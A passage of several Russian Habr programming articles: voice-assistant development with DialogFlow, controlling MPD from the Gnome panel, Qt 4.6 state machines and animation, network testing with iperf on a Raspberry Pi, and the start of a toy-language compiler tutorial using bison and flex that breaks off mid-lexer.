Второе понятие — Intents или действия — категории, по которым DialogFlow будет классифицировать команды пользователя. Мы добавляем примеры команд, по которым будет определяться интент. В примерах команд лучше использовать примеры сущностей, которые были добавлены на первом шаге. Так алгоритму будет проще научиться вычленять нужные нам аргументы. Главная фишка DialogFlow — на основе введенных шаблонов нейросети Google тренируются и генерируют новые ключевые фразы. Чем больше шаблонов мы добавим, тем корректнее будет определяться интент. Не забудем добавить идентификационное имя для интента, которым мы будем дальше пользоваться в коде.
У интента есть имя, есть список параметров. Не хватает возвращаемого значения. В настройках можно добавить статические ответы. Динамические ответы — зона ответственности js кода. Далее я буду расхваливать вторую вещь, которая делает подход гугла еще круче — официальная библиотека к node.js. Она лишает радости парсить json и заниматься маршрутизацией интентов через длинные if’ы или switch-case блоки.
Инициализируем объект DialogflowApp, в конструктор передадим request и response. Через метод getArgument() мы получаем сущность из команды, с помощью tell() передаем ответ помощника, через handleRequest() настраиваем маршрутизацию в зависимости от интента.
```
const express = require('express');
const Assistant = require('actions-on-google').DialogflowApp;
const pizzaInfo = require('../pizza/pizza_info.js');
const app = express.Router();
// запрос на обработку вебхуков
app.use('/', function (req, res, next) {
// Инициализируем API.AI assistant объект.
const assistant = new Assistant({request: req, response: res});
const ASK_INGREDIENTS_ACTION = 'listOfIngredients'; // Название интента
const PIZZA_PARAMETER = 'pizza'; // Название сущности
function getIngredients(assistant) {
let pizzaName = assistant.getArgument(PIZZA_PARAMETER);
// Respond to the user with the current temperature.
assistant.tell(pizzaInfo.getPizzaInfoByUserCommand(pizzaName));
}
// Настраиваем маршрутизацию
let actionRouter = new Map();
actionRouter.set(ASK_INGREDIENTS_ACTION, getIngredients);
assistant.handleRequest(actionRouter);
});
module.exports = app;
```
DialogflowApp сделает всю грязную работу за нас. Нам остается только подготовить данные для вывода. А теперь представьте, как это облегчает работу, когда нам нужно настроить заказ пиццы, вывод меню или статуса заказа, поиск ближайшей пиццерии и еще пару команд. Сколько человеко-часов экономим этой технологией!
Первичное тестирование ответов мы можем провести сразу в личном кабинете.
Для более скрупулезного тестирования есть симулятор или девайс с Google now.
Ответ в Google Assistant может состоять не только из текста, но и разных ui элементов: кнопки, карточки, карусели, списки.
На этом стоит остановиться. Дальнейшие тонкости технологии — материал на несколько статей. Те основы, которые были рассказаны сейчас, уже дают огромную пользу в построении своего приложения для Google Assistant. Закон Парето в действии.
Apple SiriKit. Кратко о том, почему Siri отстает
------------------------------------------------
Если Диалоги — это базовая комплектация автомобиля, а Actions on Google — полная комплектация, то SiriKit — это метро с двумя станциями на всю Москву.
Две особенности, которые делают подход Apple не таким, как все — привязанность к основному приложение и обязательное соответствие одному из сценариев использования, прописанных Apple, то есть полное отсутствие кастомизации разговора. По первому пункту все понятно — без основного приложение на девайсе не будет диалога в Siri. Ваш диалог лишь дополнение к приложению.
Второй пункт является главным недостатком SiriKit. Все диалоги, весь текст уже прописан. Можно только добавить немного синонимов в вокабуляр Siri или сверстать виджет, который появится по запросу. Это единственная свобода, которую дает Apple.
Вам повезло, если вы хотите сделать что-то похожее на команды из скриншота ниже. Нам не повезло.
Если на WWDC 2018 Apple не поменяет кардинально подход к кастомным диалогам, то тогда Siri так и останется внизу топа. Голосовые помощники — это операционные системы будущего. Систему делают крутой приложения. Когда их нельзя нормально сделать, система проигрывает. Именно из-за этого IOS в топе. Именно из-за этого Siri отстает в гонке.
Экспертное мнение. Про Amazon Alexa, продакшн и будущее.
--------------------------------------------------------
Думаю, что голосовая разработка на нашем рынке в ближайшее время перейдет из развлекательной штуки во что-то серьезное, в продакшн. Точкой отсчета, скорее всего, будет официальный анонс русскоязычного Google Assistant, то есть Google I/O 2018. Надо морально подготовиться и поучиться у западных коллег. Расспросил нашего друга, Максима Кокоша, Team Lead-а из Omnigon. Он работал с Assistant и Alexa.
*Максим Кокош, Team Lead Omnigon*
**Расскажи в общих словах, что ты разрабатывал?**
Я занимался доработкой одного скилла для Alexa и портированием другого c Alexa на Actions on Google при использовании DialogFlow. Причем в очень сжатые сроки, неделя была на портирование, неделя на доработку Alexa скила.
**Про Амазоновский проект мы ничего не знаем.**
Вот ты в статье написал про Алису, Siri, Google Assistant, а про Alexa нет. Это как сравнивать Android и Symbian и забыть про iOS.
Alexa — главный конкурент Google. Как показывает продакшн, пользователей у нее значительно больше. Комьюнити сильно больше. Документации больше. Да и самих скиллов тоже заметно больше.
Кстати, я бы не стал подход Алисы называть автомобилем. Двухколесная повозка на ослиной тяге, это максимум. По сравнению с Google Actions и Alexa, там все совсем плохо. Парсить руками string'и в 2018 году звучит как дикость.
**Как ты думаешь, почему аудитория у Alexa намного больше?**
Мне кажется, это из-за того, что Google позже вступил в игру. Очень мало вкладывается в рекламу. Хотя судя по тому, что ассистент есть или может быть установлен почти на каждом Android устройстве, они могли бы стать популярней.
**В чем особенности Alexa?**
В Alexа удобно работать с состоянием в рамках сессии. Например, ты просишь включить свет в ванной. Получается Intent «Включить свет», а entity — ванная. Затем ты говоришь: «Выключить». И вот тут нам пригодится контекст внутри сессии. Во время обработки интента мы можем выставить состояние «bathroom» и использовать его при получении следующих интентов. У Google есть Follow-up интенты, отвечающие аналогичным целям, но они не такие гибкие.
У Alexa явно говорится, как установить скиллы. Это знакомый пользователю подход — магазин скиллов. У Google скилы ставятся автоматически.
Review процесс очень строгий на обеих платформах. Ревьюверы следят, чтобы каждый response заканчивался точкой, чтобы взаимодействие с пользователем выглядело натурально, для этого у каждой платформы есть свои гайдлайны, чтобы не было грамматических ошибок, даже в описании, а текста там очень много. Ревью от Amazon обычно занимало 2-3 дня, в Google справились за 1 день.
Сама разработка Google Actions показалось более простой: захостил на Firebase action, подключил его в 2 клика, и вот у тебя уже все готово к разработке. Если ты хочешь делать запросы наружу, нужно платить. Если будешь обращаться только к сервисам Google, то можно и бесплатно. AWS, ввиду большей загруженности, выглядит запутанней.
У Google [можно](https://developers.google.com/actions/templates/first-app) ботов делать при помощи Google таблиц, функциональность весьма ограничена, однако позволяет писать ботов без скилов программирования и подойдет для мелких задач.
DialogFlow также в теории позволяет в один клик подключать твоих ботов к слаку, Telegram, Cortana и тому подобному. Там куча интеграций, правда коллаборация с Alexa не работает.
В принципе, имея знания об Actions on Google, можешь работать с Alexa.
**Мы с тобой люди из мобильной сферы. Отличаются ли бизнес-процессы мобильной и голосовой разработки?**
На мой вкус, процесс весьма похож, интенты можно рассматривать как экраны, entity — как данные в них, также есть система состояний. С точки зрения тестирования тоже все похоже: требуется корректная обработка случаев с потерей интернета, неожиданных респонсов от API и т.д.
**Может ли разработка диалогов стать такой же популярной, как сейчас мобильная разработка?**
Мне кажется, ассистенты не смогут достичь популярности мобильных приложений, ибо не все сценарии можно переложить на устное взаимодействие + с экрана информация воспринимается намного быстрее, чем на слух. Также не всегда у пользователя есть возможность устно вести диалог с ассистентом, особенно когда это касается sensitive данных. Голосовые ассистенты могут быть достаточно утилитарны, например, «закажи такси» или «закажи пиццу», но надолго увлечь пользователя вряд ли удастся. Это, скорее, эффектное дополнение к дому или автомобилю.
**Какое будущее у голосовых ассистентов?**
Голосовые ассистенты займут свою нишу и достаточно большую. И станут таким же обычным делом, как Android Auto и CarPlay среди машин. Уже продано 20 миллионов Amazon Echo девайсов и 4.6 миллиона Google Home девайсов. Не стоит забывать, что множество Android-телефонов оборудованы Google Assistant.
**Макс, спасибо большое за подробные ответы.**
Надеюсь, они хоть как-то помогут. :)
Что нас ждет впереди
--------------------
Всем диалоговым платформам есть куда расти, потолок еще далеко. Давно не было интриги в битве за наш голос.
Полезные ссылки
---------------
1. [Весь код из статьи](https://github.com/TouchInstinct/VoiceAssistantsBackend)
2. [Документация по Алисе](https://tech.yandex.ru/dialogs/alice/doc/about-docpage/)
3. [Короткое видео про то, как сделать диалог для Google Assistant](https://youtu.be/qCY0cG9R3H4)
4. [Как настроить DialogFlow для Telegram бота](https://habrahabr.ru/post/342762/)
5. [Google vs Amazon](https://medium.com/archieai/google-actions-vs-alexa-skill-a-comparative-study-4e7bdd3c3c62) | https://habr.com/ru/post/352982/ | null | ru | null |
# Простое управление Music Player Daemon на Панели Gnome
*Disclaimer: эта статья — для чайников навроде меня.*
---
Я использую [MPD](http://mpd.wikia.com/) в качестве медиапроигрывателя, что очень удобно: демон очень маленький и экономный, а работает очень надёжно и быстро.
Чтобы не портить эти качества, хотелось, чтобы и управлять им из Gnome можно было столь же легко, просто и без накладных расходов. В репозитории имеется специальный апплет Панели Gnome music-applet, но он тянет за собой уйму зависимостей, не очень удобен и вообще отношения у меня с ним не сложились. В конце концов я остановился на самом прямолинейном решении.
#### Нужен MPC
MPC (Music Player Command) — крохотная утилита для управления MPD из командной строки. Если вы уже напряглись, можете выдохнуть, команды для управления мы выдавать вручную не будем.
Итак, ставим MPC:
`sudo aptitude install mpc`
#### Создаём кнопки на панели
Необходимо добавить несколько кнопок по вкусу, например, так, как на картинке 1 выше.
В моей конфигурации имеется один нюанс. Я использую вертикальную панель, поскольку на широком экране она позволяет задействовать экранное место более эффективно. Но по умолчанию кнопки-запускалки масштабируются под ширину панели, что ~~нафиг ненужно~~ совершенно не то, что мы хотели.
Я установил очень удобный апплет панели Launchers List, позволяющий скирдовать ярлыки вдоль и поперёк в требуемых количествах:
`sudo aptitude install quick-lounge-applet`
После этого делаем правый клик по свободному месту на панели и выбираем **Add to Panel...**. Потом правый клик по «рукоятке» свежедобавленного апплета и **Preferences**:
Итак, рекомендуемые команды таковы:
* `mpc prev` — предыдущий трек.
* `mpc toggle` — играть/пауза.
* `mpc next` — следующий трек.
* `mpc random` — воспроизведение вразброс вкл./выкл.
* `mpc update` — повторно сканировать каталог с музыкальными файлами.
Обо всех возможностях mpc можно узнать обычным способом:
`man mpc`
В качестве иконок для кнопок я использовал стандартные значки, например, из каталога `/usr/share/icons/Humanity/actions/16/`.
#### Продвигаем
Для пущей красивости можно задействовать стандартные уведомления Убунту, чтобы после нажатия кнопки некоторое время выглядело так:
Для этого мы воспользуемся небезызвестной утилитой [notify-send](http://manpages.ubuntu.com/manpages/gutsy/man1/notify-send.1.html), входящей в состав пакета libnotify-bin:
`sudo aptitude install libnotify-bin`
а также небольшим [скриптом](http://pastebin.com/QCnf431j), который нужно сохранить (скажем, под именем **mpd-control**) где-нибудь (например, в ~/bin), дать право на выполнение:
`chmod +x mpd-control`
и после этого запускать вместо mpc его. Он также поддерживает 5 вышеупомянутых команд (prev, next, toggle, random и update).
**Обновл:** для самых суровых — [идею развили и сделали HTTP-сервер на Python](http://habrahabr.ru/blogs/ubuntu/87471/) для более продвинутого отображения подсказок.
#### Один раз увидеть?
Иногда бывает интересно, что же именно такое играет. Лично я использую для удовлетворения любопытства обычную [conky](http://conky.sourceforge.net/), имеющую в своём обширном арсенале датчиков и данные о состоянии MPD. Выглядит это примерно так, как на рисунке 2 справа.
#### Последние штрихи
Ещё иногда хочется управлять вопроизведением без мыши и из любого приложения. Если вам этого захотелось и у вас установлен Compiz, вы можете назначить соответствующие команды в CompizConfig Settings Manager (`sudo aptitude install compizconfig-settings-manager`), в том числе и на мультимедийные кнопки на клавиатуре:
Пожалуй, всё. | https://habr.com/ru/post/87316/ | null | ru | null |
# Пробуем Qt 4.6: Qt Animations и State Machine
На днях вышло так называемое «технологическое превью» (technological preview) Qt 4.6, которое позволяет уже сейчас попробовать новые фичи, которые войдут в релиз 4.6 этого замечательного фреймворка. Перечислять новшества я не буду — они были достаточно хорошо освещены в [этом топике](http://habrahabr.ru/blogs/qt_software/69291), а подробнее остановлюсь на двух из них: State Machine и Qt Animation Framevork.
Итак, что же они из себя представляют?
State Machine — это ничто иное, как конечный автомат: некий объект с заранее заданным конечным числом состояний и переходами между ними.
В Qt 4.6 реализовано именно так: мы можем создать нужное нам число состояний, и для каждого состояния указать, какие свойства имеет каждый объект в данном состоянии, после чего задать переходы между состояниями, указать стартовую точку и запустить автомат на исполнение.
Но для начала нам потребуется сам Qt 4.6. Я расскажу, как собрать его из исходников для Linux (применимо для любого дистрибутива). Сборка под Windows, думаю, мало отличается, если предварительно установить MinGW. Возможно, собрать можно и с помощью MSVS, но сам я не пробовал.
### Сборка Qt 4.6
Я расскажу о своём способе сборки Qt 4.6 без какого-либо «негативного влияния» на текущую версию, установленную из репозитория. Возможно, мой способ не самый оптимальный, но по крайней мере он работает :)
Сразу предупреждаю: для сборки потребуется ~3 ГБ места на диске, а потом ещё ~900 МБ для установки (всё, что останется от сборки, потом можно будет удалить). Занимает так много, потому что во-первых содержит дебаг-информацию (т.к. это ещё не релиз), плюс это не просто библиотеки, но также примеры, документация и т.д.
Для начала скачиваем исходный код [отсюда (tar.gz)](http://get.qt.nokia.com/qt/source/qt-everywhere-opensource-src-4.6.0-tp1.tar.gz) или [отсюда (zip)](http://get.qt.nokia.com/qt/source/qt-everywhere-opensource-src-4.6.0-tp1.zip). Распаковываем, переходим в каталог с исходниками, запускаем конфигурирование
```
$ ./configure --prefix=/opt/Qt4.6
```
Указывая подобный префикс, мы убиваем двух зайцев: 1) никак не влияем на уже установленную версию; и 2) можем впоследствии удалить всё «лёгким движением руки».
В процессе конфигурирования зададут вопрос о лицензии: отвечаем «о» (open source версия, включающая GPL и LGPL), соглашаемся с ней (говорим «yes»), ждём несколько минут. После окончания нам ещё раз напомнят, с каким префиксом было произведено конфигурирование.
Ну и, наконец, сборка! Запускаем
```
$ make
```
И ждём. Ждём. Ждём…
Пока идёт сборка, можно не просто сходить заварить себе чаю/кофе, но и заняться уборкой в комнате: на моём четырёхъядернике сборка в 4 потока заняла 40 минут. Количество потоков (по числу ядер процессора) можно указать при помощи опции "-j":
```
$ make -j 4
```
После окончания сборки устанавливаем с помощью
```
$ sudo make install
```
В общем случае такая установка крайне нежелательна, но в данном конкретном случае мы можем себе это позволить, т.к. обезопасили себя указанием нужного префикса, и стройность нашей системы от этого не особо пострадает.
### Настройка
Теперь нам нужно получить возможность использовать новую версию вместо той, что установлена в системе. Всё, что нам для этого нужно — это использовать правильный qmake, а он уже сам подхватит нужные инклюды и библиотеки и сгенерирует Makefile с их использованием.
Тут у нас есть 3 различных варианта:
1. каждый раз вызывать qmake с полным указанием пути:
```
$ /opt/Qt4.6/bin/qmake
```
2. установить путь для qmake на время терминального сеанса:
```
$ export PATH=/opt/Qt4.6/bin:$PATH
```
3. прописать строку выше в ~/.bashrc, и тогда этот qmake будет использоваться всегда
Я использую второй вариант — для экспериментов это более, чем достаточно.
### Пробуем
Для проверки того, что мы всё сделали правильно, скомпилируем небольшую программку:
```
$ mkdir qt_anim
$ cd qt_anim
$ (vim|emacs|nano|kate|gedit|juffed|...) anim.cpp
```
anim.cpp:
> `Copy Source | Copy HTML
>
> #include <QApplication>
> #include <QWidget>
>
> int main(int argc, char\* argv[]) {
> QApplication app(argc, argv);
> QWidget w;
> w.resize(200, 100);
> w.show();
> return app.exec();
> }`
```
$ qmake -project
$ qmake
$ make
$ ldd qt_anim | grep Qt
```
После этого нам должны отрапортовать, что используются те библиотеки, на которые мы рассчитываем. Если нет — убедитесь, что используется нужная версия qmake:
```
$ which qmake
```
и если версия не та — проверьте, что вы не ошиблись с настройкой PATH.
### Начинаем!
Для начала поймём, что такое State Machine и с чем её едят. Ставим задачу: создать окно, в углу которого будет отображаться маленькая картинка, которая при клике по окну будет перемещаться и увеличиваться в размерах.
anim.cpp:
> `Copy Source | Copy HTML
> #include <QApplication>
> #include "AnimWidget.h"
>
> int main(int argc, char\* argv[]) {
> QApplication app(argc, argv);
> AnimWidget w;
> w.resize(300, 300);
> w.show();
> return app.exec();
> }`
AnimWidget.h:
> `Copy Source | Copy HTML
> #ifndef \_\_ANIM\_WIDGET\_H\_\_
> #define \_\_ANIM\_WIDGET\_H\_\_
>
> #include <QLabel>
> #include <QStateMachine>
> #include <QWidget>
>
> class AnimWidget : public QWidget {
> Q\_OBJECT
> public:
> AnimWidget();
>
> signals:
> /\* signal for triggering state machine changes \*/
> void clicked();
>
> protected:
> /\* here we will be catching clicks \*/
> virtual void mouseReleaseEvent(QMouseEvent\*);
>
> private:
> QStateMachine machine\_;
> QLabel\* photo\_;
> };
>
> #endif // \_\_ANIM\_WIDGET\_H\_\_`
AnimWidget.cpp:
> `Copy Source | Copy HTML
> #include "AnimWidget.h"
>
> #include <QState>
> #include <QVariant>
>
> AnimWidget::AnimWidget() {
> photo\_ = new QLabel("", this);
> photo\_->setGeometry( 0, 0, 40, 40);
> photo\_->setScaledContents(true);
> photo\_->setPixmap(QPixmap("ottawa.png"));
>
> /\* creating 2 states \*/
> QState\* st1 = new QState();
> QState\* st2 = new QState();
>
> /\* defining photo's properties for each of them \*/
> st1->assignProperty(photo\_, "geometry", QRect( 0, 0, 40, 40));
> st2->assignProperty(photo\_, "geometry", QRect(50, 50, 200, 200));
>
> /\* define transitions between states by clicking on main window\*/
> st1->addTransition(this, SIGNAL(clicked()), st2);
> st2->addTransition(this, SIGNAL(clicked()), st1);
>
> /\* adding states to state machine \*/
> machine\_.addState(st1);
> machine\_.addState(st2);
> machine\_.setInitialState(st1);
>
> /\* starting machine \*/
> machine\_.start();
> }
>
> void AnimWidget::mouseReleaseEvent(QMouseEvent\*) {
> emit clicked();
> }`
В строках
```
st1->assignProperty(photo_, "geometry", QRect(0, 0, 40, 40));
st2->assignProperty(photo_, "geometry", QRect(50, 50, 200, 200));
```
задаются свойства объектов, присущие им в том или ином состоянии. Стандартные Qt-шные классы содержат определённый набор свойств, а для задания свойств для ваших собственных классов используйте Q\_PROPERTY (см. [документацию](http://doc.trolltech.com/4.6-snapshot/properties.html)).
Строки
```
st1->addTransition(this, SIGNAL(clicked()), st2);
st2->addTransition(this, SIGNAL(clicked()), st1);
```
определяют переходы между состояниями и условия для этих переходов. В нашем случае условием перехода будет являться сигнал «clicked()», брошенный главным окном.
Переход между состояниями может быть и безусловный — тогда не указывается объект и сигнал, а просто указывается оконечное состояние (см. [документацию](http://doc.trolltech.com/4.6-snapshot/qstate.html)).
И не забудьте указать другую картинку вместо «ottawa.png» и положить рядом с исходниками (или же скачайте исходники по ссылке ниже).
Собираем:
```
$ qmake -project
$ qmake
$ make
$ ./qt_anim
```
Кликаем — прыгает!
Но прыгает моментально. Да, переход между состояниями машины происходит мгновенно — но это ведь не то, что мы хотим, верно? Давайте добавим немного анимации для перехода между состояниями. Для этого добавим следующий код перед строкой «machine\_.start();»:
> `Copy Source | Copy HTML
> ...
> /\* adding animation \*/
> QPropertyAnimation\* an1 = new QPropertyAnimation(photo\_, "geometry");
> machine\_.addDefaultAnimation(an1);
> ...`
и не забудем добавить
```
#include
```
в начало файла.
Тут, в принципе, всё понятно: создаём анимацию для изменения атрибута «geometry» объекта «photo\_» и добавляем анимацию в машину.
Собираем, запускаем…
Так намного лучше, правда? Картинка не прыгает, а плавно едет на новое место, изменяясь в размерах.
Можно менять различные параметры анимации, в частности, задавать длительность и «кривую ускорения». Можно сделать, чтобы картинка начинала движение быстро, а потом замедлялась; можно и наоборот, чтобы начинала медленно, а потом разгонялась; а можно и так, чтобы начинала медленно, разгонялась, а потом плавно тормозила. Возможных вариантов — несколько десятков (см. [документацию](http://doc.trolltech.com/4.6-snapshot/qeasingcurve.html#Type-enum)). Я выбрал вариант «разгон — торможение» с кубическим изменением скорости. Добавим следующие строки после создания анимации:
> `Copy Source | Copy HTML
> ...
> /\* customizing the animation \*/
> an1->setEasingCurve(QEasingCurve::InOutCubic);
> an1->setDuration(700);
> ...`
Ну вот, теперь вместо скучного движения с постоянной скоростью, картинка двигается плавно и величаво :)
Собственно говоря, на этом моя статья подходит к концу, а дальше дело остаётся только за вашей фантазией. Применяя этот простой механизм «определяем множество состояний — назначаем свойства объектов для каждого состояния — определяем переходы между состояниями — задаём анимации для переходов», можно добиться впечатляющих результатов.
И небольшо пожелания напоследок: помните, что всё хорошо в меру. Программа, перегруженная анимацией, куда менее приятна в использовании, чем программа, в которой анимация отсутствует вообще, поэтому я надеюсь, вы используете полученные знания во благо :)
Исходники проекта можно взять [тут](http://murzin.net/mikhail/files/qt_anim.tar.gz) (66 КБ).
**Update:** добавил ещё один небольшой [проект, сделанный на базе первого](http://murzin.net/mikhail/files/qt_anim_2.tar.gz) (368 КБ, в основном за счёт картинок, кода там не намного больше). | https://habr.com/ru/post/69316/ | null | ru | null |
# Raspberry Pi и iperf — тестер пропускной способности для устройств «Умного дома» и Интернета вещей
В рамках предыдущего моего проекта, «Видеофон из Raspberry Pi», мне довелось для настройки оборудования и решения проблемы, воспользоваться утилитой Iperf. Программа давно известная в кругу специалистов, работающих с локальными сетями.
Утилита позволяет генерировать трафик для анализа пропускной способности сети.
С ее помощью, довольно просто измерить максимальную пропускную способность сети между двумя устройствами (сервером и клиентом) и провести нагрузочное тестирование канала связи.
Думаю, в связи с увеличением домашних сетевых устройств, она будет довольно востребована, как для поиска и анализа неисправностей (сбоев) в работе, так и для оптимального размещения WiFi оборудования.
В моем примере, программа устанавливалась на Raspberry Pi с установленной системой домашней автоматизации MajorDoMo — базовый образ, и на устройства, работающие под ОС Windows (ноутбук), Android (смартфон, ТВ, медиаплеер).
Под катом немного про установку и тестирование, а также небольшой пример интеграции в систему домашней автоматизации MajorDoMo.
На Raspberry Pi, служащий сервером домашней автоматизации MajorDoMo и работающий под ОС Debian 9, устанавливаем утилиту iperf.
```
sudo apt-get install iperf
```
По умолчанию устанавливается версия version 2.0.9. Существуют два варианта iperf: iperf 2 и iperf 3. Между собой они не совместимы, для установки 3-ей версии, нужно задать команду
```
sudo apt-get install iperf3
```
На втором устройстве если возьмем ПК или ноутбук под Windows, то устанавливаем Jperf (устанавливал как 2.0 так и 2.2). Jperf – графическая java-надстройка для Iperf. Надстройка кроссплатформенна, работает как под Windows так и под nix системами. Jperf строит график пропускной способности канала в режиме реального времени. Установка не требуется, в ОС должна быть установлена java-машина.
Подключаем Ethernet сетевым шнуром Raspberry к домашнему роутеру, ноутбук подключен к домашней WiFi сети.
Запускаем утилиту на Raspberry Pi в режиме сервера, Клиент генерирует трафик, сервер ожидает его.
```
iperf -s -t 3600
```
где **–s** запуск в режиме сервера, **-t 3600** на время 3600 секунд или 1 час.
На компьютере под Windows запускаем \*.bat файл jperf.bat, вводим адрес сервера, оставляем порт по умолчанию, выставляем время тестирования, нажимаем иконку запуска.
На сервере получаем информацию в текстовом виде, на клиенте в графическом:
Для операционной системы Android (смартфон, телевизор, ТВ приставка и т.д.) устанавливаем программу из play market: Magic iPerf. [Magic iPerf](https://play.google.com/store/apps/details?id=com.nextdoordeveloper.miperf.miperf&hl=ru).
Вводим IP адрес нашего RPi, ключи и запускаем тестирование, передвинув ползунок из положения stopped в started.
Справку по командам (ключам запуска утилиты) можно посмотреть набрав в терминале или мобильном приложении — help (-h).
В качестве дополнения: при использовании системы домашней автоматизации MajorDoMo, базовой конфигурации, образа для Raspberri Pi.
При старте системы, в динамике идет проговаривание IP адреса. Что довольно удобно.
Также у сервера прописан hostname (имя, которое присваивается компьютеру, подключенному к сети, которое однозначно идентифицирует в сети и, таким образом, позволяет получить доступ к нему без использования его IP-адреса). Даже не зная IP адреса, можем подключиться SSH терминалом, или же клиентом iperf, набрав вместо IP имя: majordomopi.
Небольшое преимущество RPi, его относительная дешевизна и габариты, позволяющие разместить мини ПК соединив сетевым кабелем его с роутером, будь то в шкафу купе, тумбочке или 19" стойке.
В базовой конфигурации MajorDoMo, по умолчанию есть 3 кнопки управления, которые ничем не заняты, на главной странице системы это: свет 1, свет 2, свет 3.
Попробуем назначить одну из них для тестирования пропускной способности сети.
Открываем стартовую страницу MajorDoMo. Переходим в **Панель управления — Устройства — Простые устройства — редактирование Switch 1 — Действия** .
В действиях, прописываем строку кода на PHP, которая запускает от пользователя Pi утилиту Iperf в режиме сервера на 600 секунд:
```
exec ('sudo -u pi iperf -s -t 600 >/dev/null &');
```
После этого, при нажатии кнопки «свет 1» с главной страницы системы домашней автоматизации, запускается Iperf на 10 минут, и уже далее, с нужного устройства производится тестирование пропускной способности. | https://habr.com/ru/post/482012/ | null | ru | null |
# Компиляция. 4: игрушечный ЯП
С грамматиками калькуляторов поиграли достаточно, переходим к языкам программирования. Бета-тестеры статьи подали идею писать JavaScript-подобный язык: начнём с простейшего скобчатого скелета, и будем его постепенно обращивать наворотами — синтаксическим сахаром, типами данных, поддержкой функций, и т.д.
Чтобы неполноценность нашего языка была понятна уже из названия, назовём его JSkrip.
### Далее в посте
1. Синтаксис
2. Грамматика
3. Парсер
4. Синтаксическое дерево
5. Pretty-printing
### Синтаксис
В начальном варианте языка будут арифметические конструкции над целыми числами, `if`, `while`, и `exit`; и пара «предопределённых функций»: `echo()` для печати, и `input()` для ввода.
`from = 0; to = 1000;
echo("Задумай число от ",from," до ",to,", а я буду угадывать\n");
while (from <= to) {
guess = (from+to)/2;
echo("Это ",guess,"? (1=меньше, 2=больше, 3=попал) ");
i = input();
if (i==1)
to = guess-1;
else if (i==2)
from = guess+1;
else if (i==3) {
echo("Ура! Я молодец!\n");
exit;
} else
echo("Я ничего не понял!\n");
}
echo("Врёшь, так не бывает!\n");`
### Грамматика
Смотрим на пример программы, и пытаемся формализовать язык:
`PROGRAM: OPS ; // последовательность операторов
OPS: OP | OPS OP ;
OP: '{' OPS '}' // блок
| EXPR ';' // выражение
| 'if' '(' EXPR ')' OP
| 'if' '(' EXPR ')' OP 'else' OP
| 'while' '(' EXPR ')' OP
| 'exit' ';' ;
EXPR: NUM // переменная
| ID // литерал
| ID '(' ARGS ')' // вызов функции
| EXPR '+' EXPR | EXPR '-' EXPR | EXPR '\*' EXPR | EXPR '/' EXPR | '(' EXPR ')' | '-' EXPR // арифметика
| EXPR '==' EXPR | EXPR '<=' EXPR | EXPR '>=' EXPR | EXPR '!=' EXPR | EXPR '>' EXPR | EXPR '<' EXPR
| '!' EXPR // не будем заводить отдельные булевы операции; вместо && будет \*, и вместо || будет +
| ID '=' EXPR ; // присваивание
ARGS: // пустой список
| ARG // один аргумент
| ARGS ',' ARG ;
ARG: EXPR | STRING ; // строки возможны только в аргументах`
Натыкаемся на уже знакомые неоднозначности: с `else`, и с группировкой операторов в выражении. Уже знаем, как [починить грамматику](http://habrahabr.ru/blogs/programming/99298/):
`PROGRAM: OPS ;
OPS: OP | OPS OP ;
// операторы, за которыми может следовать else внешнего условия
**OP1**: '{' OPS '}' | EXPR ';'
| 'if' '(' EXPR ')' **OP1** 'else' **OP1** // if с else: оператором не может быть if без else
| 'while' '(' EXPR ')' **OP1**
| 'exit' ';' ;
// операторы, заканчивающиеся на if без else
**OP2**: 'if' '(' EXPR ')' OP // if без else: оператор может быть любой
| IF '(' EXPR ')' **OP1** ELSE **OP2**
| WHILE '(' EXPR ')' **OP2** ;
**OP: OP1 | OP2 ;**
EXPR: **EXPR1** | ID '=' EXPR ; // низший приоритет и правая ассоциативность
// остальные операторы левоассоциативные, по возрастанию приоритета
**EXPR1**: **EXPR2**
| **EXPR1** '==' **EXPR2** | **EXPR1** '<=' **EXPR2** | **EXPR1** '>=' **EXPR2**
| **EXPR1** '!=' **EXPR2** | **EXPR1** '>' **EXPR2** | **EXPR1** '<' **EXPR2** ;
**EXPR2**: **TERM** | **EXPR2** '+' **TERM** | **EXPR2** '-' **TERM** ;
**TERM**: **VAL** | **TERM** '\*' **VAL** | **TERM** '/' **VAL** ;
**VAL**: NUM | '-' **VAL** | '!' **VAL** | '(' EXPR ')' | ID | ID '(' ARGS ')' ;
ARGS: | ARG | ARGS ',' ARG ;
ARG: EXPR | STRING ;`
### Парсер
Достаточно добавить привычный [бизоний](http://habrahabr.ru/blogs/programming/99366/) заголовок, чтобы превратить грамматику в парсер-пустышку:
`%{
#include
extern int yylineno;
extern int yylex();
void yyerror(char *s) {
std::cerr << s << ", line " << yylineno << std::endl;
exit(1);
}
#define YYSTYPE std::string
%}
%token IF ELSE WHILE EXIT
%token EQ LE GE NE
%token STRING NUM ID
%%
PROGRAM: OPS
;
OPS: OP
| OPS OP
;
OP1: '{' OPS '}'
| EXPR ';'
| IF '(' EXPR ')' OP1 ELSE OP1
| WHILE '(' EXPR ')' OP1
| EXIT ';'
;
OP2: IF '(' EXPR ')' OP
| IF '(' EXPR ')' OP1 ELSE OP2
| WHILE '(' EXPR ')' OP2
;
OP: OP1 | OP2 ;
EXPR: EXPR1
| ID '=' EXPR
EXPR1: EXPR2
| EXPR1 EQ EXPR2
| EXPR1 LE EXPR2
| EXPR1 GE EXPR2
| EXPR1 NE EXPR2
| EXPR1 '>' EXPR2
| EXPR1 '<' EXPR2
;
EXPR2: TERM
| EXPR2 '+' TERM
| EXPR2 '-' TERM
;
TERM: VAL
| TERM '\*' VAL
| TERM '/' VAL
;
VAL: NUM
| '-' VAL
| '!' VAL
| '(' EXPR ')'
| ID
| ID '(' ARGS ')'
;
ARGS:
| ARG
| ARGS ',' ARG
;
ARG: EXPR
| STRING
;
%%
int main() { return yyparse(); }`
В этот раз нам удобнее в каждом токене хранить не число, а строку (`std::string`). Тип для значений символов задаётся макросом `YYSTYPE`.
Осталось приделать к грамматике [лексер](http://habrahabr.ru/blogs/programming/99162/); в нём будет небольшая хитрость — именованные состояния, для распознавания искейпов внутри строк.
Файлы нашего языка будем называть `jsk`.
`%{
#include
#define YYSTYPE std::string
#include "jsk.tab.h"
void yyerror(char *s);
%}
%option yylineno
%option noyywrap
%x STR
%%
[/][/].\*\n ; // comment
if return IF;
else return ELSE;
while return WHILE;
exit return EXIT;
== return EQ;
[<]= return LE;
>= return GE;
!= return NE;
[0-9]+ { yylval = yytext;
return NUM;
}
[a-zA-Z\_][a-zA-Z0-9\_]\* { yylval = yytext;
return ID;
}
["] { yylval = ""; BEGIN(STR); }
[^\\\n"]+ yylval += yytext;
\\n yylval += '\n';
\\["] yylval += '"';
\\ yyerror("Invalid escape sequence");
\n yyerror("Newline in string literal");
